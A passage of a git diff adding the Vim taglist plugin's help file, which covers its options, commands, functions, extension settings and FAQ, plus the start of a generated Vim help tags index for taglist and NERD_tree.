Tlist_Auto_Highlight_Tag = 0 +< +With the above variable set to 1, you can use the ":TlistHighlightTag" command +to highlight the current tag. + + *'Tlist_Auto_Open'* +Tlist_Auto_Open~ +To automatically open the taglist window, when you start Vim, you can set the +'Tlist_Auto_Open' variable to 1. By default, this variable is set to zero and +the taglist window will not be opened automatically on Vim startup. +> + let Tlist_Auto_Open = 1 +< +The taglist window is opened only when a supported type of file is opened on +Vim startup. For example, if you open text files, then the taglist window will +not be opened. + + *'Tlist_Auto_Update'* +Tlist_Auto_Update~ +When a new file is edited, the tags defined in the file are automatically +processed and added to the taglist. To stop adding new files to the taglist, +set the 'Tlist_Auto_Update' variable to zero. By default, this variable is set +to 1. +> + let Tlist_Auto_Update = 0 +< +With the above variable set to 1, you can use the ":TlistUpdate" command to +add the tags defined in the current file to the taglist. + + *'Tlist_Close_On_Select'* +Tlist_Close_On_Select~ +If you want to close the taglist window when a file or tag is selected, then +set the 'Tlist_Close_On_Select' variable to 1. By default, this variable is +set zero and when you select a tag or file from the taglist window, the window +is not closed. +> + let Tlist_Close_On_Select = 1 +< + *'Tlist_Compact_Format'* +Tlist_Compact_Format~ +By default, empty lines are used to separate different tag types displayed for +a file and the tags displayed for different files in the taglist window. If +you want to display as many tags as possible in the taglist window, you can +set the 'Tlist_Compact_Format' variable to 1 to get a compact display. +> + let Tlist_Compact_Format = 1 +< + *'Tlist_Ctags_Cmd'* +Tlist_Ctags_Cmd~ +The 'Tlist_Ctags_Cmd' variable specifies the location (path) of the exuberant +ctags utility. If exuberant ctags is present in any one of the directories in +the PATH environment variable, then there is no need to set this variable. + +The exuberant ctags tool can be installed under different names. When the +taglist plugin starts up, if the 'Tlist_Ctags_Cmd' variable is not set, it +checks for the names exuberant-ctags, exctags, ctags, ctags.exe and tags in +the PATH environment variable. If any one of the named executable is found, +then the Tlist_Ctags_Cmd variable is set to that name. + +If exuberant ctags is not present in one of the directories specified in the +PATH environment variable, then set this variable to point to the location of +the ctags utility in your system. Note that this variable should point to the +fully qualified exuberant ctags location and NOT to the directory in which +exuberant ctags is installed. If the exuberant ctags tool is not found in +either PATH or in the specified location, then the taglist plugin will not be +loaded. Examples: +> + let Tlist_Ctags_Cmd = 'd:\tools\ctags.exe' + let Tlist_Ctags_Cmd = '/usr/local/bin/ctags' +< + *'Tlist_Display_Prototype'* +Tlist_Display_Prototype~ +By default, only the tag name will be displayed in the taglist window. If you +like to see tag prototypes instead of names, set the 'Tlist_Display_Prototype' +variable to 1. By default, this variable is set to zero and only tag names +will be displayed. +> + let Tlist_Display_Prototype = 1 +< + *'Tlist_Display_Tag_Scope'* +Tlist_Display_Tag_Scope~ +By default, the scope of a tag (like a C++ class) will be displayed in +square brackets next to the tag name. If you don't want the tag scopes +to be displayed, then set the 'Tlist_Display_Tag_Scope' to zero. By default, +this variable is set to 1 and the tag scopes will be displayed. +> + let Tlist_Display_Tag_Scope = 0 +< + *'Tlist_Enable_Fold_Column'* +Tlist_Enable_Fold_Column~ +By default, the Vim fold column is enabled and displayed in the taglist +window. If you wish to disable this (for example, when you are working with a +narrow Vim window or terminal), you can set the 'Tlist_Enable_Fold_Column' +variable to zero. +> + let Tlist_Enable_Fold_Column = 1 +< + *'Tlist_Exit_OnlyWindow'* +Tlist_Exit_OnlyWindow~ +If you want to exit Vim if only the taglist window is currently opened, then +set the 'Tlist_Exit_OnlyWindow' variable to 1. By default, this variable is +set to zero and the Vim instance will not be closed if only the taglist window +is present. +> + let Tlist_Exit_OnlyWindow = 1 +< + *'Tlist_File_Fold_Auto_Close'* +Tlist_File_Fold_Auto_Close~ +By default, the tags tree displayed in the taglist window for all the files is +opened. You can close/fold the tags tree for the files manually. To +automatically close the tags tree for inactive files, you can set the +'Tlist_File_Fold_Auto_Close' variable to 1. When this variable is set to 1, +the tags tree for the current buffer is automatically opened and for all the +other buffers is closed. +> + let Tlist_File_Fold_Auto_Close = 1 +< + *'Tlist_GainFocus_On_ToggleOpen'* +Tlist_GainFocus_On_ToggleOpen~ +When the taglist window is opened using the ':TlistToggle' command, this +option controls whether the cursor is moved to the taglist window or remains +in the current window. By default, this option is set to 0 and the cursor +remains in the current window. When this variable is set to 1, the cursor +moves to the taglist window after opening the taglist window. +> + let Tlist_GainFocus_On_ToggleOpen = 1 +< + *'Tlist_Highlight_Tag_On_BufEnter'* +Tlist_Highlight_Tag_On_BufEnter~ +When you enter a Vim buffer/window, the current tag in that buffer/window is +automatically highlighted in the taglist window. If the current tag name is +not visible in the taglist window, then the taglist window contents are +scrolled to make that tag name visible. If you like to disable the automatic +highlighting of the current tag when entering a buffer, you can set the +'Tlist_Highlight_Tag_On_BufEnter' variable to zero. The default setting for +this variable is 1. +> + let Tlist_Highlight_Tag_On_BufEnter = 0 +< + *'Tlist_Inc_Winwidth'* +Tlist_Inc_Winwidth~ +By default, when the width of the window is less than 100 and a new taglist +window is opened vertically, then the window width is increased by the value +set in the 'Tlist_WinWidth' variable to accommodate the new window. The value +of this variable is used only if you are using a vertically split taglist +window. + +If your terminal doesn't support changing the window width from Vim (older +version of xterm running in a Unix system) or if you see any weird problems in +the screen due to the change in the window width or if you prefer not to +adjust the window width then set the 'Tlist_Inc_Winwidth' variable to zero. +CAUTION: If you are using the MS-Windows version of Vim in a MS-DOS command +window then you must set this variable to zero, otherwise the system may hang +due to a Vim limitation (explained in :help win32-problems) +> + let Tlist_Inc_Winwidth = 0 +< + *'Tlist_Max_Submenu_Items'* +Tlist_Max_Submenu_Items~ +If a file contains too many tags of a particular type (function, variable, +class, etc.), greater than that specified by the 'Tlist_Max_Submenu_Items' +variable, then the menu for that tag type will be split into multiple +sub-menus. The default setting for the 'Tlist_Max_Submenu_Items' variable is +25. This can be changed by setting the 'Tlist_Max_Submenu_Items' variable: +> + let Tlist_Max_Submenu_Items = 20 +< +The name of the submenu is formed using the names of the first and the last +tag entries in that submenu. + + *'Tlist_Max_Tag_Length'* +Tlist_Max_Tag_Length~ +Only the first 'Tlist_Max_Tag_Length' characters from the tag names will be +used to form the tag type submenu name. The default value for this variable is +10. Change the 'Tlist_Max_Tag_Length' setting if you want to include more or +less characters: +> + let Tlist_Max_Tag_Length = 10 +< + *'Tlist_Process_File_Always'* +Tlist_Process_File_Always~ +By default, the taglist plugin will generate and process the tags defined in +the newly opened files only when the taglist window is opened or when the +taglist menu is enabled. When the taglist window is closed, the taglist plugin +will stop processing the tags for newly opened files. + +You can set the 'Tlist_Process_File_Always' variable to 1 to generate the list +of tags for new files even when the taglist window is closed and the taglist +menu is disabled. +> + let Tlist_Process_File_Always = 1 +< +To use the ":TlistShowTag" and the ":TlistShowPrototype" commands without the +taglist window and the taglist menu, you should set this variable to 1. + + *'Tlist_Show_Menu'* +Tlist_Show_Menu~ +When using GUI Vim, you can display the tags defined in the current file in a +menu named "Tags". By default, this feature is turned off. To turn on this +feature, set the 'Tlist_Show_Menu' variable to 1: +> + let Tlist_Show_Menu = 1 +< + *'Tlist_Show_One_File'* +Tlist_Show_One_File~ +By default, the taglist plugin will display the tags defined in all the loaded +buffers in the taglist window. If you prefer to display the tags defined only +in the current buffer, then you can set the 'Tlist_Show_One_File' to 1. When +this variable is set to 1, as you switch between buffers, the taglist window +will be refreshed to display the tags for the current buffer and the tags for +the previous buffer will be removed. +> + let Tlist_Show_One_File = 1 +< + *'Tlist_Sort_Type'* +Tlist_Sort_Type~ +The 'Tlist_Sort_Type' variable specifies the sort order for the tags in the +taglist window. The tags can be sorted either alphabetically by their name or +by the order of their appearance in the file (chronological order). By +default, the tag names will be listed by the order in which they are defined +in the file. You can change the sort type (from name to order or from order to +name) by pressing the "s" key in the taglist window. You can also change the +default sort order by setting 'Tlist_Sort_Type' to "name" or "order": +> + let Tlist_Sort_Type = "name" +< + *'Tlist_Use_Horiz_Window'* +Tlist_Use_Horiz_Window~ +Be default, the tag names are displayed in a vertically split window. If you +prefer a horizontally split window, then set the 'Tlist_Use_Horiz_Window' +variable to 1. If you are running MS-Windows version of Vim in a MS-DOS +command window, then you should use a horizontally split window instead of a +vertically split window. Also, if you are using an older version of xterm in a +Unix system that doesn't support changing the xterm window width, you should +use a horizontally split window. +> + let Tlist_Use_Horiz_Window = 1 +< + *'Tlist_Use_Right_Window'* +Tlist_Use_Right_Window~ +By default, the vertically split taglist window will appear on the left hand +side. If you prefer to open the window on the right hand side, you can set the +'Tlist_Use_Right_Window' variable to 1: +> + let Tlist_Use_Right_Window = 1 +< + *'Tlist_Use_SingleClick'* +Tlist_Use_SingleClick~ +By default, when you double click on the tag name using the left mouse +button, the cursor will be positioned at the definition of the tag. You +can set the 'Tlist_Use_SingleClick' variable to 1 to jump to a tag when +you single click on the tag name using the mouse. By default this variable +is set to zero. +> + let Tlist_Use_SingleClick = 1 +< +Due to a bug in Vim, if you set 'Tlist_Use_SingleClick' to 1 and try to resize +the taglist window using the mouse, then Vim will crash. This problem is fixed +in Vim 6.3 and above. In the meantime, instead of resizing the taglist window +using the mouse, you can use normal Vim window resizing commands to resize the +taglist window. + + *'Tlist_WinHeight'* +Tlist_WinHeight~ +The default height of the horizontally split taglist window is 10. This can be +changed by modifying the 'Tlist_WinHeight' variable: +> + let Tlist_WinHeight = 20 +< +The |'winfixheight'| option is set for the taglist window, to maintain the +height of the taglist window, when new Vim windows are opened and existing +windows are closed. + + *'Tlist_WinWidth'* +Tlist_WinWidth~ +The default width of the vertically split taglist window is 30. This can be +changed by modifying the 'Tlist_WinWidth' variable: +> + let Tlist_WinWidth = 20 +< +Note that the value of the |'winwidth'| option setting determines the minimum +width of the current window. If you set the 'Tlist_WinWidth' variable to a +value less than that of the |'winwidth'| option setting, then Vim will use the +value of the |'winwidth'| option. + +When new Vim windows are opened and existing windows are closed, the taglist +plugin will try to maintain the width of the taglist window to the size +specified by the 'Tlist_WinWidth' variable. + +============================================================================== + *taglist-commands* +7. Commands~ + +The taglist plugin provides the following ex-mode commands: + +|:TlistAddFiles| Add multiple files to the taglist. +|:TlistAddFilesRecursive| + Add files recursively to the taglist. +|:TlistClose| Close the taglist window. +|:TlistDebug| Start logging of taglist debug messages. +|:TlistLock| Stop adding new files to the taglist. +|:TlistMessages| Display the logged taglist plugin debug messages. +|:TlistOpen| Open and jump to the taglist window. +|:TlistSessionSave| Save the information about files and tags in the + taglist to a session file. +|:TlistSessionLoad| Load the information about files and tags stored + in a session file to taglist. +|:TlistShowPrototype| Display the prototype of the tag at or before the + specified line number. +|:TlistShowTag| Display the name of the tag defined at or before the + specified line number. +|:TlistHighlightTag| Highlight the current tag in the taglist window. +|:TlistToggle| Open or close (toggle) the taglist window. +|:TlistUndebug| Stop logging of taglist debug messages. +|:TlistUnlock| Start adding new files to the taglist. +|:TlistUpdate| Update the tags for the current buffer. + + *:TlistAddFiles* +:TlistAddFiles {file(s)} [file(s) ...] + Add one or more specified files to the taglist. You can + specify multiple filenames using wildcards. To specify a + file name with space character, you should escape the space + character with a backslash. + Examples: +> + :TlistAddFiles *.c *.cpp + :TlistAddFiles file1.html file2.html +< + If you specify a large number of files, then it will take some + time for the taglist plugin to process all of them. The + specified files will not be edited in a Vim window and will + not be added to the Vim buffer list. + + *:TlistAddFilesRecursive* +:TlistAddFilesRecursive {directory} [ {pattern} ] + Add files matching {pattern} recursively from the specified + {directory} to the taglist. If {pattern} is not specified, + then '*' is assumed. To specify the current directory, use "." + for {directory}. To specify a directory name with space + character, you should escape the space character with a + backslash. + Examples: +> + :TlistAddFilesRecursive myproject *.java + :TlistAddFilesRecursive smallproject +< + If large number of files are present in the specified + directory tree, then it will take some time for the taglist + plugin to process all of them. + + *:TlistClose* +:TlistClose Close the taglist window. This command can be used from any + one of the Vim windows. + + *:TlistDebug* +:TlistDebug [filename] + Start logging of debug messages from the taglist plugin. + If {filename} is specified, then the debug messages are stored + in the specified file. Otherwise, the debug messages are + stored in a script local variable. If the file {filename} is + already present, then it is overwritten. + + *:TlistLock* +:TlistLock + Lock the taglist and don't process new files. After this + command is executed, newly edited files will not be added to + the taglist. + + *:TlistMessages* +:TlistMessages + Display the logged debug messages from the taglist plugin + in a window. This command works only when logging to a + script-local variable. + + *:TlistOpen* +:TlistOpen Open and jump to the taglist window. Creates the taglist + window, if the window is not opened currently. After executing + this command, the cursor is moved to the taglist window. When + the taglist window is opened for the first time, all the files + in the buffer list are processed and the tags defined in them + are displayed in the taglist window. + + *:TlistSessionSave* +:TlistSessionSave {filename} + Saves the information about files and tags in the taglist to + the specified file. This command can be used to save and + restore the taglist contents across Vim sessions. + + *:TlistSessionLoad* +:TlistSessionLoad {filename} + Load the information about files and tags stored in the + specified session file to the taglist. + + *:TlistShowPrototype* +:TlistShowPrototype [filename] [linenumber] + Display the prototype of the tag at or before the specified + line number. If the file name and the line number are not + specified, then the current file name and line number are + used. A tag spans multiple lines starting from the line where + it is defined to the line before the next tag. This command + displays the prototype for the tag for any line number in this + range. + + *:TlistShowTag* +:TlistShowTag [filename] [linenumber] + Display the name of the tag defined at or before the specified + line number. If the file name and the line number are not + specified, then the current file name and line number are + used. A tag spans multiple lines starting from the line where + it is defined to the line before the next tag. This command + displays the tag name for any line number in this range. + + *:TlistHighlightTag* +:TlistHighlightTag + Highlight the current tag in the taglist window. By default, + the taglist plugin periodically updates the taglist window to + highlight the current tag. This command can be used to force + the taglist plugin to highlight the current tag. + + *:TlistToggle* +:TlistToggle Open or close (toggle) the taglist window. Opens the taglist + window, if the window is not opened currently. Closes the + taglist window, if the taglist window is already opened. When + the taglist window is opened for the first time, all the files + in the buffer list are processed and the tags are displayed in + the taglist window. After executing this command, the cursor + is not moved from the current window to the taglist window. + + *:TlistUndebug* +:TlistUndebug + Stop logging of debug messages from the taglist plugin. + + *:TlistUnlock* +:TlistUnlock + Unlock the taglist and start processing newly edited files. + + *:TlistUpdate* +:TlistUpdate Update the tags information for the current buffer. This + command can be used to re-process the current file/buffer and + get the tags information. As the taglist plugin uses the file + saved in the disk (instead of the file displayed in a Vim + buffer), you should save a modified buffer before you update + the taglist. Otherwise the listed tags will not include the + new tags created in the buffer. You can use this command even + when the taglist window is not opened. + +============================================================================== + *taglist-functions* +8. Global functions~ + +The taglist plugin provides several global functions that can be used from +other Vim plugins to interact with the taglist plugin. These functions are +described below. + +|Tlist_Update_File_Tags()| Update the tags for the specified file +|Tlist_Get_Tag_Prototype_By_Line()| Return the prototype of the tag at or + before the specified line number in the + specified file. +|Tlist_Get_Tagname_By_Line()| Return the name of the tag at or + before the specified line number in + the specified file. +|Tlist_Set_App()| Set the name of the application + controlling the taglist window. + + *Tlist_Update_File_Tags()* +Tlist_Update_File_Tags({filename}, {filetype}) + Update the tags for the file {filename}. The second argument + specifies the Vim filetype for the file. If the taglist plugin + has not processed the file previously, then the exuberant + ctags tool is invoked to generate the tags for the file. + + *Tlist_Get_Tag_Prototype_By_Line()* +Tlist_Get_Tag_Prototype_By_Line([{filename}, {linenumber}]) + Return the prototype of the tag at or before the specified + line number in the specified file. If the filename and line + number are not specified, then the current buffer name and the + current line number are used. + + *Tlist_Get_Tagname_By_Line()* +Tlist_Get_Tagname_By_Line([{filename}, {linenumber}]) + Return the name of the tag at or before the specified line + number in the specified file. If the filename and line number + are not specified, then the current buffer name and the + current line number are used. + + *Tlist_Set_App()* +Tlist_Set_App({appname}) + Set the name of the plugin that controls the taglist plugin + window and buffer. This can be used to integrate the taglist + plugin with other Vim plugins. + + For example, the winmanager plugin and the Cream package use + this function and specify the appname as "winmanager" and + "cream" respectively. + + By default, the taglist plugin is a stand-alone plugin and + controls the taglist window and buffer. If the taglist window + is controlled by an external plugin, then the appname should + be set appropriately. + +============================================================================== + *taglist-extend* +9. Extending~ + +The taglist plugin supports all the languages supported by the exuberant ctags +tool, which includes the following languages: Assembly, ASP, Awk, Beta, C, +C++, C#, Cobol, Eiffel, Erlang, Fortran, HTML, Java, Javascript, Lisp, Lua, +Make, Pascal, Perl, PHP, Python, Rexx, Ruby, Scheme, Shell, Slang, SML, Sql, +TCL, Verilog, Vim and Yacc. + +You can extend the taglist plugin to add support for new languages and also +modify the support for the above listed languages. + +You should NOT make modifications to the taglist plugin script file to add +support for new languages. You will lose these changes when you upgrade to the +next version of the taglist plugin. Instead you should follow the below +described instructions to extend the taglist plugin. + +You can extend the taglist plugin by setting variables in the .vimrc or _vimrc +file. The name of these variables depends on the language name and is +described below. + +Modifying support for an existing language~ +To modify the support for an already supported language, you have to set the +tlist_xxx_settings variable in the ~/.vimrc or $HOME/_vimrc file. Replace xxx +with the Vim filetype name for the language file. For example, to modify the +support for the perl language files, you have to set the tlist_perl_settings +variable. To modify the support for java files, you have to set the +tlist_java_settings variable. + +To determine the filetype name used by Vim for a file, use the following +command in the buffer containing the file: + + :set filetype + +The above command will display the Vim filetype for the current buffer. + +The format of the value set in the tlist_xxx_settings variable is + + ;flag1:name1;flag2:name2;flag3:name3 + +The different fields in the value are separated by the ';' character. + +The first field 'language_name' is the name used by exuberant ctags to refer +to this language file. This name can be different from the file type name used +by Vim. For example, for C++, the language name used by ctags is 'c++' but the +filetype name used by Vim is 'cpp'. To get the list of language names +supported by exuberant ctags, use the following command: + + $ ctags --list-maps=all + +The remaining fields follow the format "flag:name". The sub-field 'flag' is +the language specific flag used by exuberant ctags to generate the +corresponding tags. For example, for the C language, to list only the +functions, the 'f' flag is used. To get the list of flags supported by +exuberant ctags for the various languages use the following command: + + $ ctags --list-kinds=all + +The sub-field 'name' specifies the title text to use for displaying the tags +of a particular type. For example, 'name' can be set to 'functions'. This +field can be set to any text string name. + +For example, to list only the classes and functions defined in a C++ language +file, add the following line to your .vimrc file: + + let tlist_cpp_settings = 'c++;c:class;f:function' + +In the above setting, 'cpp' is the Vim filetype name and 'c++' is the name +used by the exuberant ctags tool. 'c' and 'f' are the flags passed to +exuberant ctags to list C++ classes and functions and 'class' is the title +used for the class tags and 'function' is the title used for the function tags +in the taglist window. + +For example, to display only functions defined in a C file and to use "My +Functions" as the title for the function tags, use + + let tlist_c_settings = 'c;f:My Functions' + +When you set the tlist_xxx_settings variable, you will override the default +setting used by the taglist plugin for the 'xxx' language. You cannot add to +the default options used by the taglist plugin for a particular file type. To +add to the options used by the taglist plugin for a language, copy the option +values from the taglist plugin file to your .vimrc file and modify it. + +Adding support for a new language~ +If you want to add support for a new language to the taglist plugin, you need +to first extend the exuberant ctags tool. For more information about extending +exuberant ctags, visit the following page: + + http://ctags.sourceforge.net/EXTENDING.html + +To add support for a new language, set the tlist_xxx_settings variable in the +~/.vimrc file appropriately as described above. Replace 'xxx' in the variable +name with the Vim filetype name for the new language. + +For example, to extend the taglist plugin to support the latex language, you +can use the following line (assuming, you have already extended exuberant +ctags to support the latex language): + + let tlist_tex_settings='latex;b:bibitem;c:command;l:label' + +With the above line, when you edit files of filetype "tex" in Vim, the taglist +plugin will invoke the exuberant ctags tool passing the "latex" filetype and +the flags b, c and l to generate the tags. The text heading 'bibitem', +'command' and 'label' will be used in the taglist window for the tags which +are generated for the flags b, c and l respectively. + +============================================================================== + *taglist-faq* +10. Frequently Asked Questions~ + +Q. The taglist plugin doesn't work. The taglist window is empty and the tags + defined in a file are not displayed. +A. Are you using Vim version 6.0 and above? The taglist plugin relies on the + features supported by Vim version 6.0 and above. You can use the following + command to get the Vim version: +> + $ vim --version +< + Are you using exuberant ctags version 5.0 and above? The taglist plugin + relies on the features supported by exuberant ctags and will not work with + GNU ctags or the Unix ctags utility. You can use the following command to + determine whether the ctags installed in your system is exuberant ctags: +> + $ ctags --version +< + Is exuberant ctags present in one of the directories in your PATH? If not, + you need to set the Tlist_Ctags_Cmd variable to point to the location of + exuberant ctags. Use the following Vim command to verify that this is setup + correctly: +> + :echo system(Tlist_Ctags_Cmd . ' --version') +< + The above command should display the version information for exuberant + ctags. + + Did you turn on the Vim filetype detection? The taglist plugin relies on + the filetype detected by Vim and passes the filetype to the exuberant ctags + utility to parse the tags. Check the output of the following Vim command: +> + :filetype +< + The output of the above command should contain "filetype detection:ON". + To turn on the filetype detection, add the following line to the .vimrc or + _vimrc file: +> + filetype on +< + Is your version of Vim compiled with the support for the system() function? + The following Vim command should display 1: +> + :echo exists('*system') +< + In some Linux distributions (particularly Suse Linux), the default Vim + installation is built without the support for the system() function. The + taglist plugin uses the system() function to invoke the exuberant ctags + utility. You need to rebuild Vim after enabling the support for the + system() function. If you use the default build options, the system() + function will be supported. + + Do you have the |'shellslash'| option set? You can try disabling the + |'shellslash'| option. When the taglist plugin invokes the exuberant ctags + utility with the path to the file, if the incorrect slashes are used, then + you will see errors. + + Check the shell related Vim options values using the following command: +> + :set shell? shellcmdflag? shellpipe? + :set shellquote? shellredir? shellxquote? +< + If these options are set in your .vimrc or _vimrc file, try removing those + lines. + + Are you using a Unix shell in a MS-Windows environment? For example, + the Unix shell from the MKS-toolkit. Do you have the SHELL environment + set to point to this shell? You can try resetting the SHELL environment + variable. + + If you are using a Unix shell on MS-Windows, you should try to use + exuberant ctags that is compiled for Unix-like environments so that + exuberant ctags will understand path names with forward slash characters. + + Is your filetype supported by the exuberant ctags utility? The file types + supported by the exuberant ctags utility are listed in the ctags help. If a + file type is not supported, you have to extend exuberant ctags. You can use + the following command to list the filetypes supported by exuberant ctags: +> + ctags --list-languages +< + Run the following command from the shell prompt and check whether the tags + defined in your file are listed in the output from exuberant ctags: +> + ctags -f - --format=2 --excmd=pattern --fields=nks +< + If you see your tags in the output from the above command, then the + exuberant ctags utility is properly parsing your file. + + Do you have the .ctags or _ctags or the ctags.cnf file in your home + directory for specifying default options or for extending exuberant ctags? + If you do have this file, check the options in this file and make sure + these options are not interfering with the operation of the taglist plugin. + + If you are using MS-Windows, check the value of the TEMP and TMP + environment variables. If these environment variables are set to a path + with space characters in the name, then try using the DOS 8.3 short name + for the path or set them to a path without the space characters in the + name. For example, if the temporary directory name is "C:\Documents and + Settings\xyz\Local Settings\Temp", then try setting the TEMP variable to + the following: +> + set TEMP=C:\DOCUMEN~1\xyz\LOCALS~1\Temp +< + If exuberant ctags is installed in a directory with space characters in the + name, then try adding the directory to the PATH environment variable or try + setting the 'Tlist_Ctags_Cmd' variable to the shortest path name to ctags + or try copying the exuberant ctags to a path without space characters in + the name. For example, if exuberant ctags is installed in the directory + "C:\Program Files\Ctags", then try setting the 'Tlist_Ctags_Cmd' variable + as below: +> + let Tlist_Ctags_Cmd='C:\Progra~1\Ctags\ctags.exe' +< + If you are using a cygwin compiled version of exuberant ctags on MS-Windows, + make sure that either you have the cygwin compiled sort utility installed + and available in your PATH or compile exuberant ctags with internal sort + support. Otherwise, when exuberant ctags sorts the tags output by invoking + the sort utility, it may end up invoking the MS-Windows version of + sort.exe, thereby resulting in failure. + +Q. When I try to open the taglist window, I am seeing the following error + message. How do I fix this problem? + + Taglist: Failed to generate tags for /my/path/to/file + ctags: illegal option -- -^@usage: ctags [-BFadtuwvx] [-f tagsfile] file ... + +A. The taglist plugin will work only with the exuberant ctags tool. You + cannot use the GNU ctags or the Unix ctags program with the taglist plugin. + You will see an error message similar to the one shown above, if you try + use a non-exuberant ctags program with Vim. To fix this problem, either add + the exuberant ctags tool location to the PATH environment variable or set + the 'Tlist_Ctags_Cmd' variable. + +Q. A file has more than one tag with the same name. When I select a tag name + from the taglist window, the cursor is positioned at the incorrect tag + location. +A. The taglist plugin uses the search pattern generated by the exuberant ctags + utility to position the cursor at the location of a tag definition. If a + file has more than one tag with the same name and same prototype, then the + search pattern will be the same. In this case, when searching for the tag + pattern, the cursor may be positioned at the incorrect location. + +Q. I have made some modifications to my file and introduced new + functions/classes/variables. I have not yet saved my file. The taglist + plugin is not displaying the new tags when I update the taglist window. +A. The exuberant ctags utility will process only files that are present in the + disk. To list the tags defined in a file, you have to save the file and + then update the taglist window. + +Q. I have created a ctags file using the exuberant ctags utility for my source + tree. How do I configure the taglist plugin to use this tags file? +A. The taglist plugin doesn't use a tags file stored in disk. For every opened + file, the taglist plugin invokes the exuberant ctags utility to get the + list of tags dynamically. The Vim system() function is used to invoke + exuberant ctags and get the ctags output. This function internally uses a + temporary file to store the output. This file is deleted after the output + from the command is read. So you will never see the file that contains the + output of exuberant ctags. + +Q. When I set the |'updatetime'| option to a low value (less than 1000) and if + I keep pressing a key with the taglist window open, the current buffer + contents are changed. Why is this? +A. The taglist plugin uses the |CursorHold| autocmd to highlight the current + tag. The CursorHold autocmd triggers for every |'updatetime'| milliseconds. + If the |'updatetime'| option is set to a low value, then the CursorHold + autocmd will be triggered frequently. As the taglist plugin changes + the focus to the taglist window to highlight the current tag, this could + interfere with the key movement resulting in changing the contents of + the current buffer. The workaround for this problem is to not set the + |'updatetime'| option to a low value. + +============================================================================== + *taglist-license* +11. License~ +Permission is hereby granted to use and distribute the taglist plugin, with or +without modifications, provided that this copyright notice is copied with it. +Like anything else that's free, taglist.vim is provided *as is* and comes with +no warranty of any kind, either expressed or implied. In no event will the +copyright holder be liable for any damamges resulting from the use of this +software. + +============================================================================== + *taglist-todo* +12. Todo~ + +1. Group tags according to the scope and display them. For example, + group all the tags belonging to a C++/Java class +2. Support for displaying tags in a modified (not-yet-saved) file. +3. Automatically open the taglist window only for selected filetypes. + For other filetypes, close the taglist window. +4. When using the shell from the MKS toolkit, the taglist plugin + doesn't work. +5. The taglist plugin doesn't work with files edited remotely using the + netrw plugin. The exuberant ctags utility cannot process files over + scp/rcp/ftp, etc. + +============================================================================== + +vim:tw=78:ts=8:noet:ft=help: diff --git a/vim/.vim/doc/tags b/vim/.vim/doc/tags new file mode 100644 index 00000000..3710e849 --- /dev/null +++ b/vim/.vim/doc/tags @@ -0,0 +1,149 @@ +'NERDChristmasTree' NERD_tree.txt /*'NERDChristmasTree'* +'NERDTreeAutoCenter' NERD_tree.txt /*'NERDTreeAutoCenter'* +'NERDTreeAutoCenterThreshold' NERD_tree.txt /*'NERDTreeAutoCenterThreshold'* +'NERDTreeBookmarksFile' NERD_tree.txt /*'NERDTreeBookmarksFile'* +'NERDTreeCaseSensitiveSort' NERD_tree.txt /*'NERDTreeCaseSensitiveSort'* +'NERDTreeChDirMode' NERD_tree.txt /*'NERDTreeChDirMode'* +'NERDTreeDirArrows' NERD_tree.txt /*'NERDTreeDirArrows'* +'NERDTreeHighlightCursorline' NERD_tree.txt /*'NERDTreeHighlightCursorline'* +'NERDTreeHijackNetrw' NERD_tree.txt /*'NERDTreeHijackNetrw'* +'NERDTreeIgnore' NERD_tree.txt /*'NERDTreeIgnore'* +'NERDTreeMinimalUI' NERD_tree.txt /*'NERDTreeMinimalUI'* +'NERDTreeMouseMode' NERD_tree.txt /*'NERDTreeMouseMode'* +'NERDTreeQuitOnOpen' NERD_tree.txt /*'NERDTreeQuitOnOpen'* +'NERDTreeShowBookmarks' NERD_tree.txt /*'NERDTreeShowBookmarks'* +'NERDTreeShowFiles' NERD_tree.txt /*'NERDTreeShowFiles'* +'NERDTreeShowHidden' NERD_tree.txt /*'NERDTreeShowHidden'* +'NERDTreeShowLineNumbers' NERD_tree.txt /*'NERDTreeShowLineNumbers'* +'NERDTreeSortOrder' NERD_tree.txt /*'NERDTreeSortOrder'* +'NERDTreeStatusline' NERD_tree.txt /*'NERDTreeStatusline'* +'NERDTreeWinPos' NERD_tree.txt /*'NERDTreeWinPos'* +'NERDTreeWinSize' NERD_tree.txt /*'NERDTreeWinSize'* +'Tlist_Auto_Highlight_Tag' taglist.txt /*'Tlist_Auto_Highlight_Tag'* +'Tlist_Auto_Open' taglist.txt /*'Tlist_Auto_Open'* +'Tlist_Auto_Update' taglist.txt /*'Tlist_Auto_Update'* +'Tlist_Close_On_Select' taglist.txt /*'Tlist_Close_On_Select'* +'Tlist_Compact_Format' taglist.txt /*'Tlist_Compact_Format'* +'Tlist_Ctags_Cmd' taglist.txt /*'Tlist_Ctags_Cmd'* +'Tlist_Display_Prototype' taglist.txt /*'Tlist_Display_Prototype'* +'Tlist_Display_Tag_Scope' taglist.txt /*'Tlist_Display_Tag_Scope'* +'Tlist_Enable_Fold_Column' taglist.txt /*'Tlist_Enable_Fold_Column'* +'Tlist_Exit_OnlyWindow' taglist.txt /*'Tlist_Exit_OnlyWindow'* +'Tlist_File_Fold_Auto_Close' taglist.txt /*'Tlist_File_Fold_Auto_Close'* +'Tlist_GainFocus_On_ToggleOpen' taglist.txt /*'Tlist_GainFocus_On_ToggleOpen'* +'Tlist_Highlight_Tag_On_BufEnter' taglist.txt /*'Tlist_Highlight_Tag_On_BufEnter'* +'Tlist_Inc_Winwidth' taglist.txt /*'Tlist_Inc_Winwidth'* +'Tlist_Max_Submenu_Items' taglist.txt /*'Tlist_Max_Submenu_Items'* +'Tlist_Max_Tag_Length' taglist.txt /*'Tlist_Max_Tag_Length'* +'Tlist_Process_File_Always' taglist.txt /*'Tlist_Process_File_Always'* +'Tlist_Show_Menu' taglist.txt /*'Tlist_Show_Menu'* +'Tlist_Show_One_File' taglist.txt /*'Tlist_Show_One_File'* +'Tlist_Sort_Type' taglist.txt /*'Tlist_Sort_Type'* +'Tlist_Use_Horiz_Window' taglist.txt /*'Tlist_Use_Horiz_Window'* +'Tlist_Use_Right_Window' taglist.txt /*'Tlist_Use_Right_Window'* +'Tlist_Use_SingleClick' taglist.txt /*'Tlist_Use_SingleClick'* +'Tlist_WinHeight' taglist.txt /*'Tlist_WinHeight'* +'Tlist_WinWidth' taglist.txt /*'Tlist_WinWidth'* +'loaded_nerd_tree' NERD_tree.txt /*'loaded_nerd_tree'* +:NERDTree NERD_tree.txt /*:NERDTree* +:NERDTreeClose NERD_tree.txt /*:NERDTreeClose* +:NERDTreeFind NERD_tree.txt /*:NERDTreeFind* +:NERDTreeFromBookmark NERD_tree.txt /*:NERDTreeFromBookmark* +:NERDTreeMirror NERD_tree.txt /*:NERDTreeMirror* +:NERDTreeToggle NERD_tree.txt 